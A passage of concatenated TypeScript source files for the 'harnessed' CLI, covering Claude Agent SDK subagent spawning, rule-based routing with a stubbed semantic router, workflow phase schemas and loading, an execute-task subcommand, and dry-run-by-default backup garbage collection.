consumer here keeps engine orchestration thin.\n\nimport { query, type SDKMessage, type SDKResultMessage } from '@anthropic-ai/claude-agent-sdk'\nimport type { AgentDefinition } from '../agentDefinition.js'\nimport { COMPLETION_SCHEMA, type SdkResultEnvelope } from '../completionSchema.js'\nimport { injectFactoryInternalFields, toSdkAgentDefinition } from './sdkReconcile.js'\n\nexport interface SdkSpawnOpts {\n /** Subagent name registered in `agents` map; e.g. 'tavily-mcp', 'ui-ux-pro-max'. */\n expertName: string\n /** SDK session id to resume (CD-4 deferred to v0.3.0; closure-ready). */\n resumeSessionId?: string\n /** Callback fired when SDK emits system:init with session_id (T4.4 hook). */\n onSessionId?: (id: string) => void\n}\n\nexport class SpawnFailError extends Error {\n constructor(public lastMessage?: SDKResultMessage) {\n super('sdkSpawn produced no result message')\n this.name = 'SpawnFailError'\n }\n}\n\n/** Narrow SDKResultMessage.subtype to the discriminator we care about. */\ntype ResultSubtype = SDKResultMessage['subtype']\n\n/** Spawn a subagent via SDK query() — main-process async-iterable consumer.\n * Returns a JSON envelope string consumed by ralphLoopWrap.isComplete\n * (4-layer dual-signal). On success the envelope carries the structured\n * output (PRIMARY) AND the result text (FALLBACK), enabling B-07 graceful\n * degrade if outputFormat doesn't populate structured_output server-side. */\nexport async function sdkSpawn(def: AgentDefinition, opts: SdkSpawnOpts): Promise<string> {\n const sdkDef = toSdkAgentDefinition(def) // 14→5 字段 unpack (B-01)\n const injectedPrompt = injectFactoryInternalFields(def, def.initialPrompt ?? def.prompt) // 9-字段 prompt inject\n const queryOptions: Record<string, unknown> = {\n allowedTools: ['Read', 'Edit', 'Write', 'Grep', 'Glob', 'Bash', 'Task'],\n agents: { [opts.expertName]: sdkDef },\n // PRIMARY signal (B-02 / B-07 SC3) — structured output via json_schema.\n outputFormat: { type: 'json_schema', schema: COMPLETION_SCHEMA },\n }\n if (opts.resumeSessionId) queryOptions.resume = opts.resumeSessionId\n\n // SDK `query()` returns AsyncIterable<SDKMessage>; we consume until result.\n // biome-ignore lint/suspicious/noExplicitAny: SDK options 接口含未导出 union — 用 unknown record + cast。\n const q = query({ prompt: injectedPrompt, options: queryOptions as any })\n\n let result: SDKResultMessage | undefined\n for await (const msg of q as AsyncIterable<SDKMessage>) {\n if (msg.type === 'system' && msg.subtype === 'init') {\n opts.onSessionId?.(msg.session_id)\n }\n if (msg.type === 'result') {\n result = msg as SDKResultMessage\n }\n }\n if (!result) throw new SpawnFailError()\n\n // Build envelope consumed by isComplete 4-layer (lib/ralphLoop.ts T2.4).\n // SDKResultSuccess.structured_output is typed `unknown` — narrow safely.\n const structuredOutput =\n 'structured_output' in result\n ? (result.structured_output as SdkResultEnvelope['structured_output'])\n : undefined\n const subtype: ResultSubtype = result.subtype\n const text = 'result' in result ? result.result : undefined\n\n const envelope: SdkResultEnvelope = {\n subtype,\n ...(structuredOutput ? { structured_output: structuredOutput } : {}),\n ...(text != null ? { text, result: text } : {}),\n }\n return JSON.stringify(envelope)\n}\n","// Phase 1.5.1 sister review H2 — Anchor 3 (skill install) hard split out of\n// lib/ralphLoop.ts. Anchor 3 (install missing + retry idempotent_check) and\n// Anchor 4 (ralph-loop wedge wrap) are conceptually distinct anchors; keeping\n// them in one file pushed ralphLoop.ts to 65L, contradicting the \"≤50L strict\"\n// claim in ADR 0009 § Decision Errata 3. Splitting Anchor 3 here makes that\n// claim true without an ADR errata — A7 conservation preserved (ADR 0009 main\n// body untouched; the code is brought into compliance with the doc, not vice\n// versa, per D-18 contract-drift prohibition).\n\nimport { existsSync } from 'node:fs'\nimport { join } from 'node:path'\nimport { RestartRequiredError } from '../agentDefinition.js'\n\nexport function isInstalled(skill: string, root: string): boolean {\n return existsSync(join(root, skill, 'SKILL.md'))\n}\n\nconst sleep = (ms: number): Promise<void> => new Promise((r) => setTimeout(r, ms))\n\n/** Anchor 3 — install missing + sleep retry idempotent_check. RestartRequired\n * is the extreme bail (settings.json hook needs main-session pickup). */\nexport async function ensureSkillsInstalled(required: string[], skillsRoot: string): Promise<void> {\n for (const name of required) {\n if (isInstalled(name, skillsRoot)) continue\n await sleep(500)\n let retries = 3\n while (retries-- > 0 && !isInstalled(name, skillsRoot)) await sleep(300)\n if (!isInstalled(name, skillsRoot)) {\n throw new RestartRequiredError(\n `Skill ${name} still missing after retry — please exit + restart Claude Code so the plugin takes effect.`,\n )\n }\n }\n}\n","// Phase 1.5 T3.2 — Semantic Router L2 (v0.1 stub, ≤150L hard limit).\n//\n// IMPL NOTE — implements ADR 0009 § Decision + D1.5-2 lock + D-20 LOC budget\n// (≤150L). v0.1 is a STUB: `match()` always returns a no-match result. This\n// is intentional — the routing engine's L1 keyword arbitrate (decisionRules.ts)\n// + L3 fallback_supervisor LLM cover all current cases, and ML embedding deps\n// are deferred to v0.2+ per D1.5-2 (RESEARCH § 2.4 fallback-path design).\n//\n// v0.2+ activation triggers (all required):\n// - routing sample corpus grows 30 → 100+ samples across multiple models\n// - user logs surface ≥10 real L1-miss + L3-mis-hit cases\n// - cross-OS CI verifies HuggingFace model fetch on all 3 platforms\n// When activated, ONLY the body of `match()` changes — the contract\n// (`match(prompt, threshold) -> Promise<SemanticMatchResult>`) is frozen here\n// so v0.2+ is a drop-in body swap, not an interface change (PLAN.md § 4 #2/#3).\n//\n// The v0.2+ implementation will: embed `prompt` via lib/embedding.ts\n// (EmbeddingProvider, BGE-small), kNN cosine-similarity against pre-embedded\n// rule trigger phrases, and return the best rule whose confidence ≥ threshold.\n\nimport type { Rule } from './decisionRules.js'\nimport type { EmbeddingProvider } from './lib/embedding.js'\n\n/**\n * Three-state-friendly result of {@link match} — narrow on `matched`:\n * - `matched: true` → `rule` is the semantically-matched rule, `confidence`\n * is the cosine similarity (≥ threshold).\n * - `matched: false` → `rule` is null, `confidence` is 0 (v0.1 stub always).\n *\n * Mirrors the `EngineResult` discriminated-union style (F41 takeaway).\n */\nexport interface SemanticMatchResult {\n /** Whether a rule was matched above the similarity threshold. */\n matched: boolean\n /** The matched rule, or null when `matched` is false. */\n rule: Rule | null\n /** Cosine similarity confidence in [0, 1]; 0 in the v0.1 stub. */\n confidence: number\n}\n\n/** Default similarity threshold — aligned with LangChain industry baseline. */\nexport const DEFAULT_SEMANTIC_THRESHOLD = 0.85\n\n/**\n * Semantic Router L2 — v0.1 STUB.\n *\n * Always returns `{ matched: false, rule: null, confidence: 0 }`. The routing\n * engine calls this between L1 keyword arbitrate and L3 fallback_supervisor;\n * in v0.1 it is a guaranteed pass-through to L3 (RESEARCH § 2.4).\n *\n * @param prompt - the user task prompt to semantically match (unused in v0.1).\n * @param threshold - minimum cosine similarity to count as a match (unused in\n * v0.1; defaults to {@link DEFAULT_SEMANTIC_THRESHOLD}).\n * @returns a Promise of {@link SemanticMatchResult} — always no-match in v0.1.\n */\nexport async function match(\n prompt: string,\n threshold: number = DEFAULT_SEMANTIC_THRESHOLD,\n): Promise<SemanticMatchResult> {\n // v0.1 stub — no embedding, no kNN. Reference the params so the contract is\n // visible to v0.2+ implementers and lint stays clean.\n void prompt\n void threshold\n return { matched: false, rule: null, confidence: 0 }\n}\n\n/**\n * v0.2+ activation seam — constructs the live semantic router once an\n * EmbeddingProvider is available. NOT wired in v0.1; throws to make accidental\n * early use loud rather than silently degrading.\n *\n * @param provider - the embedding provider (BGE-small in v0.2+).\n * @throws always in v0.1 — Semantic Router L2 is deferred (D1.5-2).\n */\nexport function createSemanticRouter(provider: EmbeddingProvider): never {\n void provider\n throw new Error(\n 'Semantic Router L2 is a v0.1 stub — ML embedding deferred to v0.2+ (ADR 0009 / D1.5-2). ' +\n 'Use match() which returns no-match, falling through to the L3 fallback supervisor.',\n )\n}\n","// Phase 1.4 T3.1 → 1.5 T3.4 → 2.2 W4 T4.2 → 3.1 W3 T3.2 main-process routing\n// engine (Pattern N). ADR 0006 § 1 双层架构. Spawns subagents via query({\n// agents: { name: agentDef } }) — never recursive. F33 verbatim <promise>\n// COMPLETE</promise>. D1.4-1 fresh query() reload bypass. D1.4-3 ralphLoopWrap\n// ≤50L. ADR 0008 § 4 接口契约 8 upgrade points. T3.4 (ADR 0009) PRE-arbitrate\n// DAG cycle pre-check + POST-arbitrate L2 semanticRouter (v0.1 stub null\n// pass-through to L3). Phase 3.1 W3 T3.2 (D-04 WIRE-IN): activatePhase +\n// completePhase hooks bridge engine → checkpoint module (W-01 orchestrator\n// PRIMARY extract to engineHook.ts ≤50L; engine.ts ≤200L Karpathy clean).\n\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { emitAudit } from '../audit/hook.js'\nimport { activatePhase, completePhase } from '../checkpoint/engineHook.js'\nimport {\n type AgentDefinition,\n type AgentDefinitionOpts,\n type ArbitrateResult,\n createAgent,\n InvalidDecisionError,\n MissingSkillsError,\n RestartRequiredError,\n SkillNotInstalledError,\n type TaskContext,\n} from './agentDefinition.js'\nimport { type DagNode, resolveDag } from './dag.js'\nimport { arbitrate, loadDecisionRules, type Rule } from './decisionRules.js'\nimport {\n MaxIterationsExceededError,\n ralphLoopWrap,\n VerbatimCompleteFailError,\n} from './lib/ralphLoop.js'\nimport { sdkSpawn } from './lib/sdkSpawn.js'\nimport { ensureSkillsInstalled } from './lib/skillInstall.js'\nimport { match as semanticMatch } from './semanticRouter.js'\n\nexport { MaxIterationsExceededError, VerbatimCompleteFailError } from './lib/ralphLoop.js'\n\n/** Engine three-state discriminated union (PLAN.md § 4 接口契约 1+2). */\nexport type EngineResult =\n | { ok: true; result: string; matchedRule: Rule | null }\n | { ok: false; phase: 'arbitrate' | 'install' | 'spawn' | 'verbatim'; error: Error }\n | { aborted: true; reason: string }\n\n/** Routing engine entry options. */\nexport interface RoutingOpts {\n rulesPath?: string // defaults to ./routing/decision_rules.yaml\n skillsRoot?: string // fs root for skill probes; injected by tests/e2e\n spawn?: (agentDef: AgentDefinition) => Promise<string> // test mock seam\n maxIterations?: number // ralph-loop limit (D1.4-3 lock 20)\n spawnTimeoutMs?: number // per-spawn timeout in ms (Anchor 7)\n fallbackSupervisor?: (task: TaskContext) => Promise<string> // L3 兜底\n agentOpts?: AgentDefinitionOpts // factory overrides forwarded into createAgent\n dagNodes?: DagNode[] // optional skill DAG (Kahn pre-check, T3.4)\n semanticThreshold?: number // L2 semanticRouter stub threshold (v0.1 unused)\n}\n\n/** Anchor 6 — production spawn = real sdkSpawn (T4.2). Replaces phase 1.4\n * placeholder; backward-compat test seam preserved via opts.spawn (1-arg). */\nconst defaultSpawn = (\n def: AgentDefinition,\n ctx: { expertName: string; resumeSessionId?: string; onSessionId?: (id: string) => void },\n) => sdkSpawn(def, ctx)\n\nfunction buildDecision(matched: Rule | null): ArbitrateResult {\n if (!matched) {\n return {\n matched_rule_id: null,\n primary_expert: null,\n secondary_expert: null,\n category: 'meta',\n }\n }\n return {\n matched_rule_id: matched.id,\n primary_expert: (matched.decision.primary_expert as string | null) ?? null,\n secondary_expert: (matched.decision.secondary_expert as string | null) ?? null,\n category: matched.domain as ArbitrateResult['category'],\n forbidden_skills: matched.decision.forbidden as string[] | undefined,\n required_skills: matched.decision.required_skills as string[] | undefined,\n }\n}\n\n/** Pattern N — main-process-driven routing engine entry point (≤200L). */\nexport async function runRouting(task: TaskContext, opts: RoutingOpts = {}): Promise<EngineResult> {\n const rulesPath = opts.rulesPath ?? join('routing', 'decision_rules.yaml')\n const skillsRoot = opts.skillsRoot ?? join(homedir(), '.claude', 'skills')\n const maxIter = opts.maxIterations ?? 20\n const userSpawn = opts.spawn\n\n // Step 0 — DAG pre-check (T3.4, ADR 0009). Resolve the optional skill\n // dependency graph via Kahn; a cycle is rejected before arbitrate.\n if (opts.dagNodes && opts.dagNodes.length > 0) {\n const dag = resolveDag(opts.dagNodes)\n if (!dag.ok) {\n const error = new InvalidDecisionError(\n `skill dependency cycle: ${dag.cycle.join(' → ')} (see ADR 0009 § DAG resolver)`,\n )\n return { ok: false, phase: 'arbitrate', error }\n }\n }\n\n // Step 1 — arbitrate (Anchor 1 step 1, L1 keyword routing)\n let rules: Rule[]\n try {\n rules = loadDecisionRules(rulesPath).rules\n } catch (error) {\n return { ok: false, phase: 'arbitrate', error: error as Error }\n }\n const taskCtx = {\n task_type: task.task_type,\n ...(task.override_keywords ? { override_keywords: task.override_keywords } : {}),\n }\n const matched = arbitrate(rules, taskCtx)\n const decision = buildDecision(matched)\n\n if (!matched) {\n // Step 1b — L2 Semantic Router (T3.4). v0.1 stub always returns no-match\n // (rule stays null), so v0.1 is a guaranteed pass-through to L3 below;\n // v0.2+ swaps the stub body only and may resolve `semantic.rule` here.\n const semantic = await semanticMatch(task.task, opts.semanticThreshold)\n void semantic.rule // Step 1b L2 stub; v0.2+ feeds rule; Step 1c L3 fallback below.\n if (opts.fallbackSupervisor) {\n const result = await opts.fallbackSupervisor(task)\n return { ok: true, result, matchedRule: null }\n }\n return {\n ok: false,\n phase: 'arbitrate',\n error: new InvalidDecisionError('no rule matched and no fallbackSupervisor provided'),\n }\n }\n\n // Step 2 — install missing (Anchor 3, lib/ralphLoop.ts)\n try {\n await ensureSkillsInstalled(decision.required_skills ?? [], skillsRoot)\n } catch (error) {\n if (\n error instanceof RestartRequiredError ||\n error instanceof SkillNotInstalledError ||\n error instanceof MissingSkillsError\n ) {\n return { ok: false, phase: 'install', error }\n }\n return { ok: false, phase: 'install', error: error as Error }\n }\n\n // Step 3 — factory (Anchor 1 step 3, T3.2 createAgent)\n let agentDef: AgentDefinition\n try {\n agentDef = await createAgent(task, decision, { ...opts.agentOpts, skillsRoot })\n } catch (error) {\n if (error instanceof SkillNotInstalledError || error instanceof MissingSkillsError) {\n return { ok: false, phase: 'install', error }\n }\n if (error instanceof InvalidDecisionError) {\n return { ok: false, phase: 'arbitrate', error }\n }\n return { ok: false, phase: 'spawn', error: error as Error }\n }\n\n const phaseId = task.phaseId ?? 'unknown' // Phase 3.1 W3 T3.2 (W-04 fix path a)\n await activatePhase(phaseId)\n\n // Step 4+5 spawn + ralph-loop. userSpawn = fresh-session test seam (1-arg by design B-02; resume.ts\n // fresh+reload DEFERRED #2). defaultSpawn captures session_id; ralphLoop propagates iter 2+ (CD-4).\n const expertName = (matched.decision.primary_expert as string | null) ?? 'unknown'\n let capturedSessionId: string | undefined\n const wrappedSpawn = async (\n resumeSessionId?: string,\n onSessionIdInner?: (id: string) => void,\n ): Promise<string> =>\n userSpawn\n ? userSpawn(agentDef)\n : defaultSpawn(agentDef, {\n expertName,\n ...(resumeSessionId ? { resumeSessionId } : {}),\n onSessionId: (id) => {\n capturedSessionId = id\n onSessionIdInner?.(id)\n },\n })\n try {\n const result = await ralphLoopWrap(wrappedSpawn, maxIter)\n await completePhase({ phaseId, sessionId: capturedSessionId, status: 'complete' })\n emitAudit(task, decision, matched, 'complete', capturedSessionId)\n return { ok: true, result, matchedRule: matched }\n } catch (error) {\n if (error instanceof MaxIterationsExceededError) {\n emitAudit(task, decision, matched, 'max-iter', capturedSessionId)\n return { aborted: true, reason: error.message }\n }\n if (error instanceof VerbatimCompleteFailError) {\n emitAudit(task, decision, matched, 'verbatim-fail', capturedSessionId)\n return { ok: false, phase: 'verbatim', error }\n }\n emitAudit(task, decision, matched, 'spawn-err', capturedSessionId)\n return { ok: false, phase: 'spawn', error: error as Error }\n }\n}\n","// Per-phase model tier schema — ADR 0011 errata (phase 2.2 W3 — F5 / CD-2 D-04).\n//\n// Intel `omc-comparison.md` § CD-2 (per-phase model tier — execute-task 省 token):\n// 每个 workflow phase 静态标 `model:` 字段,agentFactory 读 `phase.model` 填进\n// `AgentDefinition.model`(SDK 5 字段里本就有 `model`,零新引擎)。\n//\n// 默认表 (workflows/execute-task/phases.yaml T3.3):\n// 01-clarify = opus (任务复杂度澄清)\n// 02-code = sonnet (心法 always-on)\n// 03-test = sonnet (conditional TDD)\n// 04-deliver = haiku (迭代验收循环省 token — 关键点)\n//\n// `--model-tier inherit` CLI flag override 逃生口 (B-10 — 用户场景多样)。\n// 与 GSD `/gsd-set-profile` 独立 namespace (GSD profile 管 GSD agent,\n// harnessed 管 spawn 的 subagent — intel CD-2 § 实施约束)。\n//\n// IMPL NOTE: TypeBox (`@sinclair/typebox`) per repo convention — NOT zod.\n\nimport { type Static, Type } from '@sinclair/typebox'\n\nexport const ModelTier = Type.Union([\n Type.Literal('haiku'),\n Type.Literal('sonnet'),\n Type.Literal('opus'),\n Type.Literal('inherit'), // B-10 override 逃生口\n])\n\nexport const PhaseEntry = Type.Object(\n {\n id: Type.String({ minLength: 1 }), // e.g. '01-clarify'\n name: Type.String({ minLength: 1 }),\n upstream: Type.String({ minLength: 1 }), // e.g. 'superpowers brainstorming'\n model: ModelTier, // 必填 (B-08)\n skills: Type.Optional(Type.Array(Type.String())),\n max_iterations: Type.Optional(Type.Integer({ minimum: 1, maximum: 100 })),\n // Phase 3.2 W1 T1.7 — JINJA-templated invokes string (D-02, W-02 orchestrator fix unconditional extend).\n invokes: Type.Optional(Type.String()),\n },\n { additionalProperties: false },\n)\n\nexport const PhasesSchema = Type.Object(\n {\n workflow: Type.String({ minLength: 1 }), // e.g. 'execute-task'\n phases: Type.Array(PhaseEntry, { minItems: 1 }),\n // Phase 3.2 W1 T1.7 — CEO veto halt directive (D-04 PUSH, W-02 orchestrator fix unconditional extend).\n on_veto: Type.Optional(Type.String({ pattern: '^halt_workflow$' })),\n },\n { additionalProperties: false },\n)\n\nexport type ModelTierType = Static<typeof ModelTier>\nexport type PhaseEntryType = Static<typeof PhaseEntry>\nexport type PhasesSchemaType = Static<typeof PhasesSchema>\n","// loadPhases — parse + validate `phases.yaml` against PhasesSchema (T3.1).\n//\n// ADR 0011 errata — per-phase model tier (phase 2.2 W3 — T3.2).\n// Sister to `src/manifest/validate.ts`(Ajv) — here we use TypeBox `Value.Check` +\n// `Value.Errors` directly (simpler than Ajv compile path; phases.yaml schema is\n// tiny ~50L and not on hot path — no perf gate needed).\n//\n// Pattern lifted from PATTERNS § 5 D-WP-1 \"Truly NEW patterns\" row.\n//\n// Phase 3.2 W2 T2.1 — sig extend `vars?: Record<string, string>`; if provided,\n// interpolate {{ var }} placeholders in `invokes` field per phase (D-02 JINJA\n// LOCKED). Backward-compat: vars omitted → no interpolate (existing callers\n// unchanged; sister `workflows/execute-task/phases.yaml` has no invokes).\n\nimport { readFileSync } from 'node:fs'\nimport { Value, type ValueError } from '@sinclair/typebox/value'\nimport { parse as parseYaml } from 'yaml'\nimport { interpolate } from './interpolate.js'\nimport { PhasesSchema, type PhasesSchemaType } from './schema/phases.js'\n\nexport class PhasesValidationError extends Error {\n constructor(public errors: ValueError[]) {\n super(`phases.yaml validation failed (${errors.length} error${errors.length === 1 ? '' : 's'})`)\n this.name = 'PhasesValidationError'\n }\n}\n\n/** Load + validate a phases.yaml file. Throws `PhasesValidationError` on schema\n * violation. If `vars` provided, interpolates {{ var }} in each phase's\n * `invokes` field (Phase 3.2 W2 T2.1 D-02 JINJA). */\nexport function loadPhases(yamlPath: string, vars?: Record<string, string>): PhasesSchemaType {\n const raw = readFileSync(yamlPath, 'utf8')\n const parsed = parseYaml(raw)\n if (!Value.Check(PhasesSchema, parsed)) {\n throw new PhasesValidationError([...Value.Errors(PhasesSchema, parsed)])\n }\n // Phase 3.2 W2 T2.1 — JINJA interpolate invokes field (D-02 LOCKED).\n // Backward-compat: vars omitted → no interpolate (existing callers unchanged).\n if (vars) {\n for (const ph of parsed.phases) {\n if (ph.invokes) ph.invokes = interpolate(ph.invokes, vars)\n }\n }\n return parsed\n}\n","// Phase 5.2 W0 #BH — extract H1 gate duplicate from 5 CLI files.\n// Sister: src/installers/lib/err.ts (Phase 5.1 W0 #BG extract pattern).\n//\n// 5-site duplicate (install.ts + install-base.ts + research.ts +\n// manifest-add.ts + execute-task.ts) consolidated here.\n// uninstall.ts uses --yes/--apply variant (NOT --non-interactive) — keep inline.\n\n/**\n * H1 pre-action gate: --non-interactive requires --apply or --dry-run.\n * Exits with code 2 if --non-interactive is set without either flag.\n */\nexport function validateNonInteractiveFlags(\n raw: { nonInteractive?: boolean; apply?: boolean; dryRun?: boolean },\n cmdName: string,\n): void {\n if (raw.nonInteractive && !raw.apply && !raw.dryRun) {\n console.error(\n `error: --non-interactive requires --apply or --dry-run\\n` +\n ` fix: 'harnessed ${cmdName} --non-interactive --dry-run' or '--apply'`,\n )\n process.exit(2)\n }\n}\n","// Phase 2.2 T5.1 — `harnessed execute-task --task <text>` independent subcommand.\n//\n// IMPL NOTE — B-10 + B-28 + PATTERNS § 2.1 (Register block).\n// Sister to src/cli/research.ts L16-92 — same H1 gate (sibling install-base.ts L51-56),\n// same 3-state EngineResult → exit code mapping (0 COMPLETE / 1 FAIL / 2 USAGE).\n// Loads execute-task workflow phases.yaml (T3.2 loadPhases) + drives engine.runRouting\n// (T4.2 sdkSpawn-backed). `--model-tier inherit` flag = B-10 escape hatch — overrides\n// per-phase phase.model with 'inherit' for SDK parent-resolve semantics (W3 ModelTier\n// 4th enum). Forward-looking subcommand surface; auto-invocation pushed Phase 2.3.\n\nimport type { Command } from 'commander'\nimport { runRouting, type TaskContext } from '../routing/index.js'\nimport { loadPhases } from '../workflow/loadPhases.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\ninterface RawOpts {\n task?: string\n apply?: boolean\n dryRun?: boolean\n nonInteractive?: boolean\n model?: 'haiku' | 'sonnet' | 'opus'\n modelTier?: 'inherit'\n maxIterations?: number\n workflow?: string\n}\n\nexport function registerExecuteTask(program: Command): void {\n program\n .command('execute-task')\n .description('Run execute-task workflow (4-phase chain → ralph-loop COMPLETE)')\n .requiredOption('--task <text>', 'task description (required)')\n .option('--workflow <name>', 'workflow name', 'execute-task')\n .option('--apply', 'execute the spawn (default: dry-run preview)')\n .option('--dry-run', 'force dry-run (overrides --apply if both set)')\n .option('--non-interactive', 'CI / scripts — requires --apply or --dry-run')\n .option('--model <model>', \"subagent model: 'haiku' | 'sonnet' | 'opus'\")\n .option('--model-tier <tier>', \"override: 'inherit' bypasses per-phase phase.model (B-10)\")\n .option('--max-iterations <n>', 'ralph-loop max iter (default 20)', (v) => parseInt(v, 10))\n .action(async (raw: RawOpts) => {\n // H1 gate — sibling install-base.ts pattern\n validateNonInteractiveFlags(raw, 'execute-task --task <text>')\n if (!raw.task) {\n console.error('error: --task <text> is required')\n process.exit(2)\n }\n\n const workflowName = raw.workflow ?? 'execute-task'\n let phases: ReturnType<typeof loadPhases>\n try {\n phases = loadPhases(`workflows/${workflowName}/phases.yaml`)\n } catch (error) {\n console.error(\n `error: failed to load workflows/${workflowName}/phases.yaml — ${(error as Error).message}`,\n )\n process.exit(2)\n }\n\n // B-10 escape hatch — `--model-tier inherit` overrides all phase.model values.\n if (raw.modelTier === 'inherit') {\n phases = {\n ...phases,\n phases: phases.phases.map((p) => ({ ...p, model: 'inherit' as const })),\n }\n }\n\n const taskCtx: TaskContext = { task: raw.task, task_type: 'execute-task' }\n const isDryRun = raw.dryRun === true || (!raw.apply && !raw.nonInteractive)\n\n // Dry-run path — arbitrate-only preview (mirrors research.ts L52-72).\n if (isDryRun) {\n console.log(\n JSON.stringify({ workflow: phases.workflow, phases: phases.phases, taskCtx }, null, 2),\n )\n process.exit(0)\n }\n\n // --apply path — real spawn via engine.runRouting (T4.2 sdkSpawn).\n const result = await runRouting(taskCtx, {\n maxIterations: raw.maxIterations ?? 20,\n ...(raw.model ? { agentOpts: { modelOverride: raw.model } } : {}),\n })\n if ('aborted' in result) {\n console.error(`aborted: ${result.reason}`)\n process.exit(2)\n }\n if ('ok' in result && result.ok === false) {\n console.error(`error: ${result.phase} — ${result.error.message}`)\n process.exit(1)\n }\n console.log(result.result)\n process.exit(0)\n })\n}\n","// Phase 1.2 cli subcommand `gc` per ADR 0004 § Consequences Negative #3 +\n// sister review M1 mitigation.\n//\n// IMPL NOTE (Rule 1 / ADR 0004 § Consequences Negative #3): backup snapshots\n// accumulate without bound; users will eventually fill disk. The M1 sister\n// review fix promotes `harnessed gc --older-than 30d` from \"phase 2.4\n// deferred\" to \"phase 1.2 ship\" because the failure mode is silent (users\n// only notice when df -h is red), and ADR 0004 § Consequences explicitly\n// names this as the chosen mitigation.\n//\n// IMPL NOTE (Rule 1 / ADR 0004 contract 1 — dry-run default): gc follows\n// the same dry-run-default-with-explicit-apply convention as install.\n// Without --apply we list candidates but do not delete; this keeps the\n// safety contract uniform across all destructive harnessed commands.\n\nimport { readdir, readFile, rm, stat } from 'node:fs/promises'\nimport { join, resolve } from 'node:path'\nimport type { Command } from 'commander'\n\ninterface BackupMetadata {\n installer: string\n manifest: string\n timestamp: string\n files: unknown[]\n}\n\ninterface GcOpts {\n olderThan?: string\n keepLast?: string\n apply?: boolean\n dryRun?: boolean\n}\n\nconst DURATION_RE = /^(\\d+)([dhmw])$/\nfunction parseDuration(s: string): number | null {\n const m = DURATION_RE.exec(s)\n if (!m) return null\n const n = Number.parseInt(m[1] ?? '0', 10)\n const unit = m[2]\n const ms =\n unit === 'd' ? 86_400_000 : unit === 'h' ? 3_600_000 : unit === 'm' ? 60_000 : 604_800_000\n return n * ms\n}\n\nasync function dirSizeKb(dir: string): Promise<number> {\n let total = 0\n const stack: string[] = [dir]\n while (stack.length > 0) {\n const cur = stack.pop()\n if (!cur) break\n const entries = await readdir(cur, { withFileTypes: true })\n for (const e of entries) {\n const p = join(cur, e.name)\n if (e.isDirectory()) stack.push(p)\n else if (e.isFile()) {\n const st = await stat(p)\n total += st.size\n }\n }\n }\n return Math.round(total / 1024)\n}\n\nexport function registerGc(program: Command): void {\n program\n .command('gc')\n .description('Garbage-collect old backup snapshots (dry-run by default)')\n .option('--older-than <duration>', 'delete snapshots older than (e.g. 30d / 24h / 4w)', '30d')\n .option('--keep-last <N>', 'always keep the most recent N snapshots', '0')\n .option('--apply', 'actually delete (default: dry-run preview only)')\n .option('--dry-run', 'force dry-run (overrides --apply)')\n .action(async (opts: GcOpts) => {\n const dryRun = opts.dryRun === true || opts.apply !== true\n const olderMs = parseDuration(opts.olderThan ?? '30d')\n if (olderMs == null) {\n console.error(\n `error: invalid --older-than '${opts.olderThan}'\\n` +\n ` fix: use format <N>{d|h|m|w} e.g. 30d / 24h / 60m / 4w`,\n )\n process.exit(1)\n return\n }\n const keepLast = Number.parseInt(opts.keepLast ?? '0', 10)\n const root = resolve(process.cwd(), '.harnessed-backup')\n let dirs: string[]\n try {\n dirs = (await readdir(root, { withFileTypes: true }))\n .filter((e) => e.isDirectory())\n .map((e) => e.name)\n .sort()\n } catch {\n console.log('no backups found (.harnessed-backup/ absent) — nothing to gc')\n return\n }\n const cutoff = Date.now() - olderMs\n // Reverse so most-recent come first; first `keepLast` are protected.\n const kept = new Set(dirs.slice(-keepLast))\n const candidates: Array<{ ts: string; path: string; manifest: string; sizeKb: number }> = []\n for (const ts of dirs) {\n if (kept.has(ts)) continue\n const path = join(root, ts)\n // Backup ID is ISO timestamp with `:` → `-`; reverse to parse.\n const iso = ts.replace(/T(\\d{2})-(\\d{2})-(\\d{2})/, 'T$1:$2:$3')\n const t = Date.parse(iso)\n if (Number.isNaN(t) || t > cutoff) continue\n let manifest = '(unknown)'\n try {\n const meta = JSON.parse(\n await readFile(join(path, 'metadata.json'), 'utf8'),\n ) as BackupMetadata\n manifest = meta.manifest\n } catch {\n // metadata missing — still gc by age\n }\n const sizeKb = await dirSizeKb(path)\n candidates.push({ ts, path, manifest, sizeKb })\n }\n if (candidates.length === 0) {\n console.log(`no snapshots older than ${opts.olderThan} (kept ${kept.size} most-recent)`)\n return\n }\n const totalKb = candidates.reduce((a, c) => a + c.sizeKb, 0)\n const verb = dryRun ? 'would delete' : 'deleting'\n console.log(`${verb} ${candidates.length} snapshot(s), ~${totalKb} KB total:`)\n for (const c of candidates) {\n console.log(` ${c.ts} ${c.manifest} (${c.sizeKb} KB)`)\n if (!dryRun) await rm(c.path, { recursive: true, force: true })\n }\n if (dryRun) console.log('\\n(dry-run — re-run with --apply to actually delete)')\n })\n}\n","// Phase 1.2 backup writer per ADR 0004 § 3 schema + Pattern B + C + H.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C3): each backed-up file's metadata entry\n// records `eol: 'lf' | 'crlf'` based on the original on-disk content\n// (detected by Buffer.includes('\\r\\n')). cli/rollback.ts MUST honor this\n// field on restore — naive `fs.writeFile(buf)` would otherwise round-trip\n// CRLF→LF on Win→Unix migrations or vice versa, mutating the user's\n// original file content. The eol field is the only safe way to preserve\n// the original line ending across a backup/restore cycle.\n//\n// ISO timestamp format: `2026-05-12T13-45-22.123Z`. We replace `:` with `-`\n// because Windows refuses `:` inside filenames; `.` and `-` are universally\n// safe.\n//\n// Pattern B (lazy timestamp dir creation): timestamp dir is mkdir-ed on the\n// fly inside backup() — we never pre-create unused dirs.\n// Pattern C: returns Result-shaped object; mkdir/write failures yield\n// InstallResult-style { ok: false, error } never throws.\n\nimport { createHash } from 'node:crypto'\nimport { mkdir, readFile, writeFile } from 'node:fs/promises'\nimport { dirname, join, relative } from 'node:path'\nimport type { DiffPlan, InstallContext, InstallError } from './types.js'\n\nexport interface BackupFileEntry {\n target: string // absolute path of original file\n backup: string // absolute path of backup copy\n sha1: string // sha1 of original content\n eol: 'lf' | 'crlf' // ASSUMPTIONS C3 — preserve original line ending\n}\n\nexport interface BackupMetadata {\n installer: string // manifest.metadata.name\n manifest: string // manifest.metadata.name (alias for clarity)\n timestamp: string // ISO-8601 (with `:` replaced by `-`)\n files: BackupFileEntry[]\n}\n\nexport type BackupResult =\n | { ok: true; backupId: string; backupDir: string }\n | { ok: false; error: InstallError }\n\nconst HOME_DIR = process.env.HOME ?? process.env.USERPROFILE ?? ''\n\nfunction mirrorPath(target: string, scope: 'HOME' | 